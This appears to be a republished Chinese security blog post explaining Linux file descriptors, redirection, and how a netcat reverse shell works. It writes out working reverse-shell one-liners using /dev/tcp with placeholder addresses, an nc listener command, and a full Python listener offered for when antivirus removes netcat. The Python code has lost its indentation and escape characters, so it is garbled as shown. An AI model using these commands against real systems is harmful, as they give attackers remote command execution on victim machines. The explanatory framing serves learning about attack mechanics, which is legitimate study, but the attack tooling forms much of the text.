Linux中的文件描述符
别人说当一个进程运行起来默认有三个文件描述符0:标准输入、1:标准输出、2:标准错误。实际上是在Linux中每个新的进程都是通过父进程fork函数fork出来的。会继承父类的普通文件描述符,这里很多人不理解,为什么我看到父类的文件描述符那么多,我并没有完全继承?特殊的文件描述符是不会被继承的,比如:管道、套接字、设备等。
文件描述符就是这些已经打开的文件的索引,一般情况下新进程存在三个文件描述符:0标准输入、1标准输出、2标准错误,再打开新的文件将会从3开始排序...
0 :表示stdin标准输入
1 :表示stdout标准输出
2 :表示stderr标准错误
重定向符号
< :表示输入重定向
> :表示输出重定向
命令>文件:表示将标准输出重定向到文件
命令<文件:表示将标准输入重定向到文件
NC反弹Shell
命令讲解
服务器端,nc监听端口port
nc -lvvp port
bash -i
:交互式shell
>&
:将标准输出和标准错误绑定,重定向到文件描述符
/dev/tcp/ip/port
:建立tcp连接,用文件描述符来标识
0>&1
:标准输入和标准输出结合(0<&1同理,也是将两者结合)使得二者指向同一文件描述符
bash -i >& /dev/tcp/ip/port 0>&1
#这里将/dev/tcp/ip/port创建的套接字描述符称为tfd
建立一个交互式Shell,将标准输出描述符指向/dev/tcp/ip/port建立连接,连接建立成功得到tfd放入到文件描述符列表中。并将标准输出和标准错误指向到tfd,并将标准输入指向到标准输出指向的位置,也变成了,标准输入也指向了tfd。于是本该输出到终端的数据转向到tfd,服务端就会收到数据。由于标准输入也重定向到tfd,也就是在服务端发送过来的数据,会被带入进程的输入处理中。
下面是NC反弹shell的操作。
同理可得:bash -i >& /dev/tcp/ip/port 0>&1
和bash -i < /dev/tcp/ip/port 1<&0 2<&0
等价
< 将标准输入重定向到/dev/tcp/ip/port,
1<&0 2<&0 将标准输出和标准错误与标准输入结合,
所以标准输出和标准错误实际上也是重定向到/dev/tcp/ip/port
那标准输入和标准输出之间是否有关系?
举个例子:
分别在服务端ip/port1和ip/port2建立监听,通过客户端建立两个连接/dev/tcp/ip/port1
、/dev/tcp/ip/port2
>&将标准输出和标准错误重定向到/dev/tcp/ip/port1,0</dev/tcp/ip/port2将标准输入重定向到/dev/tcp/ip/port2即在ip/port2中输入命令,经过客户端的bash执行之后会在ip/port1中输出
客户端命令:
bash -i >& /dev/tcp/ip/port1 0</dev/tcp/ip/port2
建立连接,将标准输入重定向到54336,标准输出和标准错误重定向到54335,在54336输入命令,作为标准输入传到客户端,客户端bash执行之后将标准输出和标准错误重定向给54335。所以实际上输出和输入是独立的。但是我思考了一下为什么会下面这个问题?
#为什么会把下面这个也反弹回来?
root@arvin:/home/arvin/Desktop#
#解答
是因为bash将这一部分认为是标准错误。
所以会输出到屏幕,举个例子:只把标准错误进行重定向
NC在反弹shell的过程只充当什么角色
在上面的讲解后,好像反弹shell就和NC没什么关系。那么在我们遇到NC被杀软杀掉的时候,我们是该怎么处理的呢?答案很简单,自写TCPSocketServer,当我们用脚本起一个监听端口,收发数据的服务。
import socket #导入库
import threading
import time
def TCPServer(ip="0.0.0.0",port=54335):
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((ip,port))
server.listen(5)
print("[*] Listen on %s:%d"%(ip,port))
def chuli(a):
a.send("whoamin".encode())
time.sleep(0.2)
requst=a.recv(1024).decode() #获取信息
cmdOkStr=requst.split("n")
cmdLine=cmdOkStr[2]
while 1:
print(cmdLine,end="")
cmdstr=input()+"n"
if(cmdstr=="n" or cmdstr==None):
continue
else:
a.send(cmdstr.encode())
time.sleep(0.2)
requst=a.recv(1024).decode() #获取信息
cmdOkStr=requst.split("n")
cmdLine=cmdOkStr[2]
result=cmdOkStr[1]
print("n"+result)
#print(cmdOkStr)#打印信息#a.close() #关闭与客户端的链接
while True:
client,addr=server.accept() #如果有客户端链接
print("[*]成功建立连接于 %s:%d" % (addr[0],addr[1]))
handler=threading.Thread(target=chuli,args=(client,)) #开启线程处理连接
handler.start()
try:
TCPServer()
except Exception as e:
print("[*]Error!",e)
在NC反弹Shell过程中NC不过作为一个服务端,向客户端发送数据,数据流走向到bash -i的标准输入,在通过bash -i的标准输出返回到我们服务端,以实现反弹Shell的功能。
原文始发于微信公众号(网络安保):你真的理解NC反弹SHELL原理么?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论